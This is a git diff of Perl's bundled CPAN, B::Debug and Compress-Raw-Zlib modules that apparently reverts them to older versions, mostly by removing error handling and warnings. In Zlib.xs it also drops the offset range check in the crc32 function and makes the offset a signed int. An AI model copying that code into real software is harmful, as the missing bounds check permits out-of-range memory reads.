@@ sub B::METHOP::debug { } } -sub B::UNOP_AUX::debug { - my ($op) = @_; - $op->B::OP::debug(); - # string and perl5 aux_list needs the cv - # cperl has aux, Concise,-debug leaves it empty - if ($op->can('aux')) { - printf "\top_aux\t%s\n", cstring($op->aux); - } -} - sub B::PVOP::debug { my ($op) = @_; $op->B::OP::debug(); @@ -207,10 +191,10 @@ sub B::NULL::debug { sub B::SV::debug { my ($sv) = @_; if (!$$sv) { - print B::class($sv), " = NULL\n"; + print class($sv), " = NULL\n"; return; } - printf <<'EOT', B::class($sv), $$sv, $sv->REFCNT; + printf <<'EOT', class($sv), $$sv, $sv->REFCNT; %s (0x%x) REFCNT %d EOT @@ -282,43 +266,38 @@ sub B::BM::debug { } sub B::CV::debug { - my ($cv) = @_; - $cv->B::PVNV::debug(); - my $stash = $cv->STASH; - my $start = $cv->START; - my $root = $cv->ROOT; - my $padlist = $cv->PADLIST; - my $file = $cv->FILE; - my $gv; + my ($sv) = @_; + $sv->B::PVNV::debug(); + my ($stash) = $sv->STASH; + my ($start) = $sv->START; + my ($root) = $sv->ROOT; + my ($padlist) = $sv->PADLIST; + my ($file) = $sv->FILE; + my ($gv) = $sv->GV; printf <<'EOT', $$stash, $$start, $$root; STASH 0x%x START 0x%x ROOT 0x%x EOT - if ($cv->can('NAME_HEK') && $cv->NAME_HEK) { - printf("\tNAME\t%%s\n", $cv->NAME_HEK); - } - elsif ( $]>5.017 && ($cv->FLAGS & 0x40000)) { #lexsub - printf("\tNAME\t%%s\n", $cv->NAME_HEK); + if ( $]>5.017 && ($sv->FLAGS & 0x40000)) { #lexsub + printf("\tNAME\t%%s\n", $sv->NAME); } else { - $gv = $cv->GV; - printf("\tGV\t%0x%x\t%s\n", $$gv, $gv->SAFENAME); + printf("\tGV\t%0x%x\t%s\n", $$gv, $gv->SAFENAME); } - printf <<'EOT', $file, $cv->DEPTH, $padlist, ${$cv->OUTSIDE}; + printf <<'EOT', $file, $sv->DEPTH, $padlist, ${$sv->OUTSIDE}; FILE %s DEPTH %d PADLIST 0x%x OUTSIDE 0x%x EOT - printf("\tOUTSIDE_SEQ\t%d\n", $cv->OUTSIDE_SEQ) if $] > 5.007; + printf("\tOUTSIDE_SEQ\t%d\n", $sv->OUTSIDE_SEQ) if $] > 5.007; if ($have_B_Flags) { - my $SVt_PVCV = $] < 5.010 ? 12 : 13; - printf("\tCvFLAGS\t0x%x\t%s\n", $cv->CvFLAGS, - $have_B_Flags_extra ? $cv->flagspv($SVt_PVCV) : $cv->flagspv); + my $SVt_PVCV = $] < 5.010 ? 12 : 13; + printf("\tCvFLAGS\t0x%x\t%s\n", $sv->CvFLAGS, + $have_B_Flags_extra ? $sv->flagspv($SVt_PVCV) : $sv->flagspv); } else { - printf("\tCvFLAGS\t0x%x\n", $cv->CvFLAGS); + printf("\tCvFLAGS\t0x%x\n", $sv->CvFLAGS); } - printf("\tSIGOP\t0x%x\n", $cv->SIGOP) if $cv->can('SIGOP'); $start->debug if $start; $root->debug if $root; $gv->debug if $gv; @@ -337,7 +316,7 @@ sub _array_debug { my (@array) = eval { $av->ARRAY; }; print "\tARRAY\t\t(", join(", ", map("0x" . $$_, @array)), ")\n"; my $fill = eval { scalar(@array) }; - if ($Config{'useithreads'} && B::class($av) ne 'PADLIST') { + if ($Config{'useithreads'} && class($av) ne 'PADLIST') { printf <<'EOT', $fill, $av->MAX, $av->OFF; FILL %d MAX %d @@ -403,7 +382,7 @@ sub B::SPECIAL::debug { sub B::PADLIST::debug { my ($padlist) = @_; - printf <<'EOT', B::class($padlist), $$padlist, $padlist->REFCNT; + printf <<'EOT', class($padlist), $$padlist, $padlist->REFCNT; %s (0x%x) REFCNT %d EOT @@ -436,7 +415,7 @@ B::Debug - Walk Perl syntax tree, printing debug info about ops =head1 DESCRIPTION -See F and the newer L. +See F and the newer L, L. =head1 OPTIONS @@ -445,7 +424,7 @@ otherwise in basic order. =head1 AUTHOR -Malcolm Beattie, C +Malcolm Beattie, C Reini Urban C =head1 LICENSE diff --git a/cpan/B-Debug/t/debug.t b/cpan/B-Debug/t/debug.t index c362d7456df8..0f60b95a5b77 100644 --- a/cpan/B-Debug/t/debug.t +++ b/cpan/B-Debug/t/debug.t @@ -32,18 +32,17 @@ use File::Spec; my $a; my $X = $^X =~ m/\s/ ? qq{"$^X"} : $^X; -local $ENV{PERL5LIB} = - join $Config{path_sep}, File::Spec->catfile("blib","lib"), @INC; +my $path = join " ", map { qq["-I$_"] } (File::Spec->catfile("blib","lib"), @INC); my $redir = $^O =~ /VMS|MSWin32|MacOS/ ? "" : "2>&1"; -$a = `$X "-MO=Debug" -e 1 $redir`; +$a = `$X $path "-MO=Debug" -e 1 $redir`; like($a, qr/\bLISTOP\b.*\bOP\b.*\bCOP\b.*\bOP\b/s); -$a = `$X "-MO=Terse" -e 1 $redir`; +$a = `$X $path "-MO=Terse" -e 1 $redir`; like($a, qr/\bLISTOP\b.*leave.*\n OP\b.*enter.*\n COP\b.*nextstate.*\n OP\b.*null/s); -$a = `$X "-MO=Terse" -ane "s/foo/bar/" $redir`; +$a = `$X $path "-MO=Terse" -ane "s/foo/bar/" $redir`; $a =~ s/\(0x[^)]+\)//g; $a =~ s/\[[^\]]+\]//g; $a =~ s/-e syntax OK//; @@ -82,14 +81,14 @@ is($a, $b); like(B::Debug::_printop(B::main_root), qr/LISTOP\s+\[OP_LEAVE\]/); like(B::Debug::_printop(B::main_start), qr/OP\s+\[OP_ENTER\]/); -$a = `$X "-MO=Debug" -e "B::main_root->debug" $redir`; +$a = `$X $path "-MO=Debug" -e "B::main_root->debug" $redir`; like($a, qr/op_next\s+0x0/m); -$a = `$X "-MO=Debug" -e "B::main_start->debug" $redir`; +$a = `$X $path "-MO=Debug" -e "B::main_start->debug" $redir`; like($a, qr/\[OP_ENTER\]/m); # pass missing FETCHSIZE, fixed with 1.06 my $e = q(BEGIN{tie @a, __PACKAGE__;sub TIEARRAY {bless{}} sub FETCH{1}};print $a[1]); -$a = `$X "-MO=Debug" -e"$e" $redir`; +$a = `$X $path "-MO=Debug" -e"$e" $redir`; unlike($a, qr/locate object method "FETCHSIZE"/m); # NV assertion with CV, fixed with 1.13 @@ -97,7 +96,7 @@ my $tmp = "tmp.pl"; open TMP, ">", $tmp; print TMP 'my $p=1;$g=2;sub p($){my $i=1;$i+1};print p(0)+$g;'; close TMP; -$a = `$X "-MO=Debug" $tmp $redir`; +$a = `$X $path "-MO=Debug" $tmp $redir`; ok(! $?); unlike($a, qr/assertion "SvTYPE(sv) != SVt_PVCV" failed.*function: S_sv_2iuv_common/m); unlike($a, qr/Use of uninitialized value in print/m); diff --git a/cpan/CPAN-Meta/corpus/BadMETA.yml b/cpan/CPAN-Meta/corpus/BadMETA.yml index 79fece368c9a..ef0b0f8e854f 100644 --- a/cpan/CPAN-Meta/corpus/BadMETA.yml +++ b/cpan/CPAN-Meta/corpus/BadMETA.yml @@ -1,24 +1,24 @@ ---- -abstract: ~ -author: - - 'Olivier Mengu' -build_requires: - ExtUtils::MakeMaker: 6.36 -configure_requires: - ExtUtils::MakeMaker: 6.36 -distribution_type: module -dynamic_config: 1 -generated_by: 'Module::Install version 1.06' -license: perl -meta-spec: - url: http://module-build.sourceforge.net/META-spec-v1.4.html - version: 1.4 -name: Foo -no_index: - directory: - - inc -requires: - perl: 5.005 -resources: - license: http://dev.perl.org/licenses/ -version: 0.01 +--- +abstract: ~ +author: + - 'Olivier Mengu' +build_requires: + ExtUtils::MakeMaker: 6.36 +configure_requires: + ExtUtils::MakeMaker: 6.36 +distribution_type: module +dynamic_config: 1 +generated_by: 'Module::Install version 1.06' +license: perl +meta-spec: + url: http://module-build.sourceforge.net/META-spec-v1.4.html + version: 1.4 +name: Foo +no_index: + directory: + - inc +requires: + perl: 5.005 +resources: + license: http://dev.perl.org/licenses/ +version: 0.01 diff --git a/cpan/CPAN/lib/App/Cpan.pm b/cpan/CPAN/lib/App/Cpan.pm index 87549126dcd8..3ddcbe8ac551 100644 --- a/cpan/CPAN/lib/App/Cpan.pm +++ b/cpan/CPAN/lib/App/Cpan.pm @@ -6,7 +6,7 @@ use vars qw($VERSION); use if $] < 5.008 => 'IO::Scalar'; -$VERSION = '1.67'; +$VERSION = '1.66'; =head1 NAME @@ -545,13 +545,7 @@ package Local::Null::Logger; # hide from PAUSE sub new { bless \ my $x, $_[0] } -sub AUTOLOAD { - my $autoload = our $AUTOLOAD; - $autoload =~ s/.*://; - return if $autoload =~ /^(debug|trace)$/; - $CPAN::Frontend->mywarn(">($autoload): $_\n") - for split /[\r\n]+/, $_[1]; -} +sub AUTOLOAD { 1 } sub DESTROY { 1 } } @@ -572,7 +566,7 @@ sub _init_logger unless( $log4perl_loaded ) { - print STDOUT "Loading internal logger. Log::Log4perl recommended for better logging\n"; + print STDERR "Loading internal null logger. Install Log::Log4perl for logging messages\n"; $logger = Local::Null::Logger->new; return $logger; } @@ -631,8 +625,6 @@ sub _default # How do I handle exit codes for multiple arguments? my @errors = (); - $options->{x} or _disable_guessers(); - foreach my $arg ( @$args ) { # check the argument and perhaps capture typos @@ -1525,19 +1517,14 @@ sub _expand_module } my $guessers = [ - [ qw( Text::Levenshtein::XS distance 7 1 ) ], - [ qw( Text::Levenshtein::Damerau::XS xs_edistance 7 1 ) ], + [ qw( Text::Levenshtein::XS distance 7 ) ], + [ qw( Text::Levenshtein::Damerau::XS xs_edistance 7 ) ], - [ qw( Text::Levenshtein distance 7 1 ) ], - [ qw( Text::Levenshtein::Damerau::PP pp_edistance 7 1 ) ], + [ qw( Text::Levenshtein distance 7 ) ], + [ qw( Text::Levenshtein::Damerau::PP pp_edistance 7 ) ], ]; -sub _disable_guessers - { - $_->[-1] = 0 for @$guessers; - } - # for -x sub _guess_namespace { @@ -1566,40 +1553,25 @@ sub _list_all_namespaces { BEGIN { my $distance; -my $_threshold; -my $can_guess; -my $shown_help = 0; sub _guess_at_module_name { my( $target, $threshold ) = @_; unless( defined $distance ) { foreach my $try ( @$guessers ) { - $can_guess = eval "require $try->[0]; 1" or next; + my $can_guess = eval "require $try->[0]; 1" or next; - $try->[-1] or next; # disabled no strict 'refs'; $distance = \&{ join "::", @$try[0,1] }; $threshold ||= $try->[2]; } } - $_threshold ||= $threshold; unless( $distance ) { - unless( $shown_help ) { - my $modules = join ", ", map { $_->[0] } @$guessers; - substr $modules, rindex( $modules, ',' ), 1, ', and'; + my $modules = join ", ", map { $_->[0] } @$guessers; + substr $modules, rindex( $modules, ',' ), 1, ', and'; - # Should this be colorized? - if( $can_guess ) { - $logger->info( "I can suggest names if you provide the -x option on invocation." ); - } - else { - $logger->info( "I can suggest names if you install one of $modules" ); - $logger->info( "and you provide the -x option on invocation." ); - } - $shown_help++; - } + $logger->info( "I can suggest names if you install one of $modules" ); return; } @@ -1609,7 +1581,7 @@ sub _guess_at_module_name my %guesses; foreach my $guess ( @$modules ) { my $distance = $distance->( $target, $guess ); - next if $distance > $_threshold; + next if $distance > $threshold; $guesses{$guess} = $distance; } diff --git a/cpan/CPAN/lib/CPAN.pm b/cpan/CPAN/lib/CPAN.pm index 1f69119e5f22..4f028505f8e6 100644 --- a/cpan/CPAN/lib/CPAN.pm +++ b/cpan/CPAN/lib/CPAN.pm @@ -2,7 +2,7 @@ # vim: ts=4 sts=4 sw=4: use strict; package CPAN; -$CPAN::VERSION = '2.20'; +$CPAN::VERSION = '2.18'; $CPAN::VERSION =~ s/_//; # we need to run chdir all over and we would get at wrong libraries @@ -564,10 +564,7 @@ sub _yaml_loadfile { } } elsif ($code = UNIVERSAL::can($yaml_module, "Load")) { local *FH; - unless (open FH, $local_file) { - $CPAN::Frontend->mywarn("Could not open '$local_file': $!"); - return +[]; - } + open FH, $local_file or die "Could not open '$local_file': $!"; local $/; my $ystream = ; eval { @yaml = $code->($ystream); }; @@ -859,12 +856,11 @@ this variable in either a CPAN/MyConfig.pm or a CPAN/Config.pm in your } my $sleep = 1; while (!CPAN::_flock($fh, LOCK_EX|LOCK_NB)) { - my $err = $! || "unknown error"; - if ($sleep>3) { - $CPAN::Frontend->mydie("Could not lock '$lockfile' with flock: $err; giving up\n"); + if ($sleep>10) { + $CPAN::Frontend->mydie("Giving up\n"); } - $CPAN::Frontend->mysleep($sleep+=0.1); - $CPAN::Frontend->mywarn("Could not lock '$lockfile' with flock: $err; retrying\n"); + $CPAN::Frontend->mysleep($sleep++); + $CPAN::Frontend->mywarn("Could not lock lockfile with flock: $!; retrying\n"); } seek $fh, 0, 0; @@ -1042,11 +1038,6 @@ sub has_usable { 'CPAN::Meta::Requirements' => [ sub { - if (defined $CPAN::Meta::Requirements::VERSION - && CPAN::Version->vlt($CPAN::Meta::Requirements::VERSION, "2.120920") - ) { - delete $INC{"CPAN/Meta/Requirements.pm"}; - } require CPAN::Meta::Requirements; unless (CPAN::Version->vge(CPAN::Meta::Requirements->VERSION, 2.120920)) { for ("Will not use CPAN::Meta::Requirements, need version 2.120920\n") { diff --git a/cpan/CPAN/lib/CPAN/Distribution.pm b/cpan/CPAN/lib/CPAN/Distribution.pm index 72101afc7b45..64976eb7bbdf 100644 --- a/cpan/CPAN/lib/CPAN/Distribution.pm +++ b/cpan/CPAN/lib/CPAN/Distribution.pm @@ -8,7 +8,7 @@ use CPAN::InfoObj; use File::Path (); @CPAN::Distribution::ISA = qw(CPAN::InfoObj); use vars qw($VERSION); -$VERSION = "2.19"; +$VERSION = "2.18"; # no prepare, because prepare is not a command on the shell command line # TODO: clear instance cache on reload @@ -660,11 +660,8 @@ sub satisfy_requires { my ($self) = @_; $self->debug("Entering satisfy_requires") if $CPAN::DEBUG; if (my @prereq = $self->unsat_prereq("later")) { - if ($CPAN::DEBUG){ - require Data::Dumper; - my $prereq = Data::Dumper->new(\@prereq)->Terse(1)->Indent(0)->Dump; - $self->debug("unsatisfied[$prereq]"); - } + $self->debug("unsatisfied[@prereq]") if $CPAN::DEBUG; + $self->debug(@prereq) if $CPAN::DEBUG && @prereq; if ($prereq[0][0] eq "perl") { my $need = "requires perl '$prereq[0][1]'"; my $id = $self->pretty_id; @@ -1720,10 +1717,13 @@ sub isa_perl { my($self) = @_; my $file = File::Basename::basename($self->id); if ($file =~ m{ ^ perl + -? + (5) + ([._-]) ( - -5\.\d+\.\d+ + \d{3}(_[0-4][0-9])? | - 5[._-]00[0-5](_[0-4][0-9])? + \d+\.\d+ ) \.tar[._-](?:gz|bz2) (?!\n)\Z @@ -1982,12 +1982,7 @@ sub prepare { } } elsif ( $self->_should_report('pl') ) { - ($output, $ret) = eval { CPAN::Reporter::record_command($system) }; - if (! defined $output or $@) { - my $err = $@ || "Unknown error"; - $CPAN::Frontend->mywarn("Error while running PL phase: $err"); - return $self->goodbye("$system -- NOT OK"); - } + ($output, $ret) = CPAN::Reporter::record_command($system); CPAN::Reporter::grade_PL( $self, $system, $output, $ret ); } else { @@ -2089,7 +2084,7 @@ is part of the perl-%s distribution. To install that, you need to run $self->called_for, $self->isa_perl, $self->called_for, - $self->pretty_id, + $self->id, )); $self->{make} = CPAN::Distrostatus->new("NO isa perl"); $CPAN::Frontend->mysleep(1); @@ -2615,19 +2610,9 @@ sub _make_install_make_command { sub is_locally_optional { my($self, $prereq_pm, $prereq) = @_; $prereq_pm ||= $self->{prereq_pm}; - my($nmo,$opt); - for my $rt (qw(requires build_requires)) { - if (exists $prereq_pm->{$rt}{$prereq}) { - # rt 121914 - $nmo ||= $CPAN::META->instance("CPAN::Module",$prereq); - my $av = $nmo->available_version; - return 0 if !$av || CPAN::Version->vlt($av,$prereq_pm->{$rt}{$prereq}); - } - if (exists $prereq_pm->{"opt_$rt"}{$prereq}) { - $opt = 1; - } - } - return $opt||0; + exists $prereq_pm->{opt_requires}{$prereq} + || + exists $prereq_pm->{opt_build_requires}{$prereq}; } #-> sub CPAN::Distribution::follow_prereqs ; @@ -2776,29 +2761,8 @@ sub _feature_depends { sub prereqs_for_slot { my($self,$slot) = @_; my($prereq_pm); - unless ($CPAN::META->has_usable("CPAN::Meta::Requirements")) { - my $whynot = "not available"; - if (defined $CPAN::Meta::Requirements::VERSION) { - $whynot = "version $CPAN::Meta::Requirements::VERSION not sufficient"; - } - $CPAN::Frontend->mywarn("CPAN::Meta::Requirements $whynot\n"); - my $before = ""; - if ($self->{CALLED_FOR}){ - if ($self->{CALLED_FOR} =~ - /^( - CPAN::Meta::Requirements - |version - |parent - |ExtUtils::MakeMaker - |Test::Harness - )$/x) { - $CPAN::Frontend->mywarn("Setting requirements to nil as a workaround\n"); - return; - } - $before = " before $self->{CALLED_FOR}"; - } - $CPAN::Frontend->mydie("Please install CPAN::Meta::Requirements manually$before"); - } + $CPAN::META->has_usable("CPAN::Meta::Requirements") + or die "CPAN::Meta::Requirements not available"; my $merged = CPAN::Meta::Requirements->new; my $prefs_depends = $self->prefs->{depends}||{}; my $feature_depends = $self->_feature_depends(); @@ -2861,10 +2825,8 @@ sub unsat_prereq { my($self,$slot) = @_; my($merged_hash,$prereq_pm) = $self->prereqs_for_slot($slot); my(@need); - unless ($CPAN::META->has_usable("CPAN::Meta::Requirements")) { - $CPAN::Frontend->mywarn("CPAN::Meta::Requirements not available, please install as soon as possible, trying to continue with severly limited capabilities\n"); - return; - } + $CPAN::META->has_usable("CPAN::Meta::Requirements") + or die "CPAN::Meta::Requirements not available"; my $merged = CPAN::Meta::Requirements->from_string_hash($merged_hash); my @merged = sort $merged->required_modules; CPAN->debug("all merged_prereqs[@merged]") if $CPAN::DEBUG; @@ -3085,10 +3047,6 @@ sub unsat_prereq { } # here need to flag as optional for recommends/suggests # -- xdg, 2012-04-01 - $self->debug(sprintf "%s manadory?[%s]", - $self->pretty_id, - $self->{mandatory}) - if $CPAN::DEBUG; my $optional = !$self->{mandatory} || $self->is_locally_optional($prereq_pm, $need_module); push @need, [$need_module,$needed_as,$optional]; @@ -4007,15 +3965,7 @@ sub install { local $ENV{PERL_MM_USE_DEFAULT} = 1 if $CPAN::Config->{use_prompt_default}; local $ENV{NONINTERACTIVE_TESTING} = 1 if $CPAN::Config->{use_prompt_default}; - my($pipe) = FileHandle->new("$system $stderr |"); - unless ($pipe) { - $CPAN::Frontend->mywarn("Can't execute $system: $!"); - $self->introduce_myself; - $self->{install} = CPAN::Distrostatus->new("NO"); - $CPAN::Frontend->mywarn(" $system -- NOT OK\n"); - delete $self->{force_update}; - return; - } + my($pipe) = FileHandle->new("$system $stderr |") || Carp::croak("Can't execute $system: $!"); my($makeout) = ""; while (<$pipe>) { print $_; # intentionally NOT use Frontend->myprint because it @@ -4030,8 +3980,7 @@ sub install { $CPAN::Frontend->myprint(" $system -- OK\n"); $CPAN::META->is_installed($self->{build_dir}); $self->{install} = CPAN::Distrostatus->new("YES"); - if ($CPAN::Config->{'cleanup_after_install'} - && ! $self->is_dot_dist) { + if ($CPAN::Config->{'cleanup_after_install'}) { my $parent = File::Spec->catdir( $self->{build_dir}, File::Spec->updir ); chdir $parent or $CPAN::Frontend->mydie("Couldn't chdir to $parent: $!\n"); File::Path::rmtree($self->{build_dir}); diff --git a/cpan/CPAN/lib/CPAN/FTP.pm b/cpan/CPAN/lib/CPAN/FTP.pm index 6d9800e31b10..a43ea02e9e84 100644 --- a/cpan/CPAN/lib/CPAN/FTP.pm +++ b/cpan/CPAN/lib/CPAN/FTP.pm @@ -3,7 +3,6 @@ package CPAN::FTP; use strict; -use Errno (); use Fcntl qw(:flock); use File::Basename qw(dirname); use File::Path qw(mkpath); @@ -15,20 +14,7 @@ use vars qw($connect_to_internet_ok $Ua $Thesite $ThesiteURL $Themethod); use vars qw( $VERSION ); -$VERSION = "5.5011"; - -sub _plus_append_open { - my($fh, $file) = @_; - my $parent_dir = dirname $file; - mkpath $parent_dir; - my($cnt); - until (open $fh, "+>>$file") { - next if $! == Errno::EAGAIN; # don't increment on EAGAIN - $CPAN::Frontend->mydie("Could not open '$file' after 10000 tries: $!") if ++$cnt > 100000; - sleep 0.0001; - mkpath $parent_dir; - } -} +$VERSION = "5.5008"; #-> sub CPAN::FTP::ftp_statistics # if they want to rewrite, they need to pass in a filehandle @@ -42,7 +28,8 @@ sub _ftp_statistics { $fh ||= FileHandle->new; my $file = File::Spec->catfile($CPAN::Config->{cpan_home},"FTPstats.yml"); - _plus_append_open($fh,$file); + mkpath dirname $file; + open $fh, "+>>$file" or $CPAN::Frontend->mydie("Could not open '$file': $!"); my $sleep = 1; my $waitstart; while (!CPAN::_flock($fh, $locktype|LOCK_NB)) { @@ -54,11 +41,13 @@ sub _ftp_statistics { sleep($sleep); # this sleep must not be overridden; # Frontend->mysleep with AUTOMATED_TESTING has # provoked complete lock contention on my NFS - if ($sleep <= 6) { - $sleep+=0.5; + if ($sleep <= 3) { + $sleep+=0.33; + } elsif ($sleep <= 6) { + $sleep+=0.11; } else { # retry to get a fresh handle. If it is NFS and the handle is stale, we will never get an flock - _plus_append_open($fh, $file); + open $fh, "+>>$file" or $CPAN::Frontend->mydie("Could not open '$file': $!"); } } my $stats = eval { CPAN->_yaml_loadfile($file); }; @@ -71,11 +60,8 @@ sub _ftp_statistics { } elsif (ref $@ eq "CPAN::Exception::yaml_process_error") { my $time = time; my $to = "$file.$time"; - $CPAN::Frontend->mywarn("Error reading '$file': $@ - Trying to stash it away as '$to' to prevent further interruptions. - You may want to remove that file later.\n"); - # may fail because somebody else has moved it away in the meantime: - rename $file, $to or $CPAN::Frontend->mywarn("Could not rename '$file' to '$to': $!\n"); + $CPAN::Frontend->myprint("Error reading '$file': $@\nStashing away as '$to' to prevent further interruptions. You may want to remove that file later.\n"); + rename $file, $to or $CPAN::Frontend->mydie("Could not rename: $!"); return; } } else { @@ -153,7 +139,7 @@ sub _add_to_statistics { unlink($sfile) if ($^O eq 'MSWin32' or $^O eq 'os2'); _copy_stat($sfile, "$sfile.$$") if -e $sfile; rename "$sfile.$$", $sfile - or $CPAN::Frontend->mywarn("Could not rename '$sfile.$$' to '$sfile': $!\nGiving up\n"); + or $CPAN::Frontend->mydie("Could not rename '$sfile.$$' to '$sfile': $!\n"); } } @@ -569,7 +555,7 @@ sub hostdleasy { #called from hostdlxxx my($ro_url); HOSTEASY: for $ro_url (@$host_seq) { $self->_set_attempt($stats,"dleasy",$ro_url); - my $url = "$ro_url$file"; + my $url .= "$ro_url$file"; $self->debug("localizing perlish[$url]") if $CPAN::DEBUG; if ($url =~ /^file:/) { my $l; diff --git a/cpan/CPAN/lib/CPAN/FirstTime.pm b/cpan/CPAN/lib/CPAN/FirstTime.pm index 49fa8ab7b951..531c1152a854 100644 --- a/cpan/CPAN/lib/CPAN/FirstTime.pm +++ b/cpan/CPAN/lib/CPAN/FirstTime.pm @@ -10,7 +10,7 @@ use File::Path (); use File::Spec (); use CPAN::Mirrors (); use vars qw($VERSION $auto_config); -$VERSION = "5.5311"; +$VERSION = "5.5310"; =head1 NAME @@ -439,7 +439,7 @@ Randomize parameter generally be installed except in resource constrained environments. When this policy is true, recommended modules will be included with required modules. -Include recommended modules? +Included recommended modules? =item scan_cache @@ -489,7 +489,7 @@ Show all individual modules that have a $VERSION of zero? dependencies provide enhanced operation. When this policy is true, suggested modules will be included with required modules. -Include suggested modules? +Included suggested modules? =item tar_verbosity diff --git a/cpan/CPAN/lib/CPAN/Shell.pm b/cpan/CPAN/lib/CPAN/Shell.pm index 423131cc2fdc..ab2f07e2ceb4 100644 --- a/cpan/CPAN/lib/CPAN/Shell.pm +++ b/cpan/CPAN/lib/CPAN/Shell.pm @@ -47,7 +47,7 @@ use vars qw( "CPAN/Tarzip.pm", "CPAN/Version.pm", ); -$VERSION = "5.5007"; +$VERSION = "5.5006"; # record the initial timestamp for reload. $reload = { map {$INC{$_} ? ($_,(stat $INC{$_})[9]) : ()} @relo }; @CPAN::Shell::ISA = qw(CPAN::Debug); @@ -1023,7 +1023,7 @@ CPAN_VERSION: %s %s $need{$module->id}++; } unless (%need) { - if (!@expand || $what eq "u") { + if ($what eq "u") { $CPAN::Frontend->myprint("No modules found for @args\n"); } elsif ($what eq "r") { $CPAN::Frontend->myprint("All modules are up to date for @args\n"); diff --git a/cpan/Compress-Raw-Zlib/Makefile.PL b/cpan/Compress-Raw-Zlib/Makefile.PL index 31f3197be8d5..028f550c24c1 100644 --- a/cpan/Compress-Raw-Zlib/Makefile.PL +++ b/cpan/Compress-Raw-Zlib/Makefile.PL @@ -21,9 +21,6 @@ if ($Config{'gccversion'} and $OPTIMIZE =~ /-g (gdb)? 3/x) { $OPTIMIZE =~ s/-g(gdb)?3/-g/g; # [88936] out of memory with -g3 since 2.062 } -# Windows uses a different name for the zlib library -my $ZLIB_LIBRARY_NAME = $^O eq 'MSWin32' ? 'zlib' : 'z' ; - #$WALL = ' -pedantic ' if $Config{'cc'} =~ /gcc/ ; #$WALL = ' -Wall -Wno-comment ' if $Config{'cc'} =~ /gcc/ ; @@ -88,7 +85,7 @@ WriteMakefile( ( $BUILD_ZLIB ? zlib_files($ZLIB_LIB) - : (LIBS => [ "-L$ZLIB_LIB -l$ZLIB_LIBRARY_NAME " ]) + : (LIBS => [ "-L$ZLIB_LIB -lz " ]) ), OPTIMIZE => $OPTIMIZE, diff --git a/cpan/Compress-Raw-Zlib/Zlib.xs b/cpan/Compress-Raw-Zlib/Zlib.xs index 496b87679175..3ac936c040bb 100644 --- a/cpan/Compress-Raw-Zlib/Zlib.xs +++ b/cpan/Compress-Raw-Zlib/Zlib.xs @@ -180,7 +180,8 @@ typedef di_stream * inflateStream ; typedef di_stream * Compress__Raw__Zlib__inflateStream ; typedef di_stream * Compress__Raw__Zlib__inflateScanStream ; -#define ZMALLOC(to, typ) (to = (typ *)safecalloc(sizeof(typ), 1)) +#define ZMALLOC(to, typ) ((to = (typ *)safemalloc(sizeof(typ))), \ + Zero(to,1,typ)) /* Figure out the Operating System */ #ifdef MSDOS @@ -505,9 +506,7 @@ DispStream(s, message) voidpf my_zcalloc (voidpf opaque, unsigned items, unsigned size) { PERL_UNUSED_VAR(opaque); - /* TODO - put back to calloc */ - /* return safecalloc(items, size); */ - return safemalloc(items* size); + return safemalloc(items * size); } @@ -823,7 +822,7 @@ Zip_crc32(buf, crc=crcInitial, offset=0) uLong crc = NO_INIT STRLEN len = NO_INIT Bytef * buf = NO_INIT - STRLEN offset + int offset SV * sv = ST(0) ; INIT: /* If the buffer is a reference, dereference it */ @@ -834,9 +833,6 @@ Zip_crc32(buf, crc=crcInitial, offset=0) #endif buf = (Byte*)SvPVbyte(sv, len) ; - if (offset > len) - croak("Offset out of range in Compress::Raw::Zlib::crc32"); - if (items < 2) crc = crcInitial; else if (SvOK(ST(1))) @@ -1197,7 +1193,6 @@ flush(s, output, f=Z_FINISH) uLong availableout = NO_INIT CODE: bufinc = s->bufsize; - /* retrieve the output buffer */ diff --git a/cpan/Compress-Raw-Zlib/config.in b/cpan/Compress-Raw-Zlib/config.in index d6701ffb0cf7..c56cc030996c 100644 --- a/cpan/Compress-Raw-Zlib/config.in +++ b/cpan/Compress-Raw-Zlib/config.in @@ -19,6 +19,7 @@ BUILD_ZLIB = True INCLUDE = ./zlib-src LIB = ./zlib-src + OLD_ZLIB = False GZIP_OS_CODE = AUTO_DETECT diff --git a/cpan/Compress-Raw-Zlib/lib/Compress/Raw/Zlib.pm b/cpan/Compress-Raw-Zlib/lib/Compress/Raw/Zlib.pm index 2fc5b46ef5d3..4ff590087d96 100644 --- a/cpan/Compress-Raw-Zlib/lib/Compress/Raw/Zlib.pm +++ b/cpan/Compress-Raw-Zlib/lib/Compress/Raw/Zlib.pm @@ -10,7 +10,7 @@ use warnings ; use bytes ; our ($VERSION, $XS_VERSION, @ISA, @EXPORT, %EXPORT_TAGS, @EXPORT_OK, $AUTOLOAD, %DEFLATE_CONSTANTS, @DEFLATE_CONSTANTS); -$VERSION = '2.076'; +$VERSION = '2.074'; $XS_VERSION = $VERSION; $VERSION = eval $VERSION; @@ -645,7 +645,7 @@ Compress::Raw::Zlib - Low-Level Interface to zlib compression library The I module provides a Perl interface to the I compression library (see L for details about where to get -I). +I). =head1 Compress::Raw::Zlib::Deflate @@ -656,7 +656,7 @@ Here is a definition of the interface available: =head2 B<($d, $status) = new Compress::Raw::Zlib::Deflate( [OPT] ) > -Initialises a deflation object. +Initialises a deflation object. If you are familiar with the I library, it combines the features of the I functions C, C @@ -727,7 +727,7 @@ The default is C. When a dictionary is specified I will automatically call C directly after calling C. The -Adler32 value for the dictionary can be obtained by calling the method +Adler32 value for the dictionary can be obtained by calling the method C<$d-Edict_adler()>. The default is no dictionary. @@ -775,7 +775,7 @@ Here is an example of using the C optional parameter list to override the default buffer size and compression level. All other options will take their default values. - my $d = new Compress::Raw::Zlib::Deflate ( -Bufsize => 300, + my $d = new Compress::Raw::Zlib::Deflate ( -Bufsize => 300, -Level => Z_BEST_SPEED ) ; =head2 B<$status = $d-Edeflate($input, $output)> @@ -853,7 +853,7 @@ C. =item B<-Strategy> Defines the strategy used to tune the compression. The valid values are -C, C and C. +C, C and C. =item B<-BufSize> @@ -878,14 +878,14 @@ Returns the adler32 value for the dictionary. =head2 B<$d-Ecrc32()> -Returns the crc32 value for the uncompressed data to date. +Returns the crc32 value for the uncompressed data to date. If the C option is not enabled in the constructor for this object, this method will always return 0; =head2 B<$d-Eadler32()> -Returns the adler32 value for the uncompressed data to date. +Returns the adler32 value for the uncompressed data to date. =head2 B<$d-Emsg()> @@ -902,11 +902,11 @@ Returns the total number of compressed bytes output from deflate. =head2 B<$d-Eget_Strategy()> Returns the deflation strategy currently used. Valid values are -C, C and C. +C, C and C. =head2 B<$d-Eget_Level()> -Returns the compression level being used. +Returns the compression level being used. =head2 B<$d-Eget_BufSize()> @@ -954,7 +954,7 @@ Here is a definition of the interface: =head2 B< 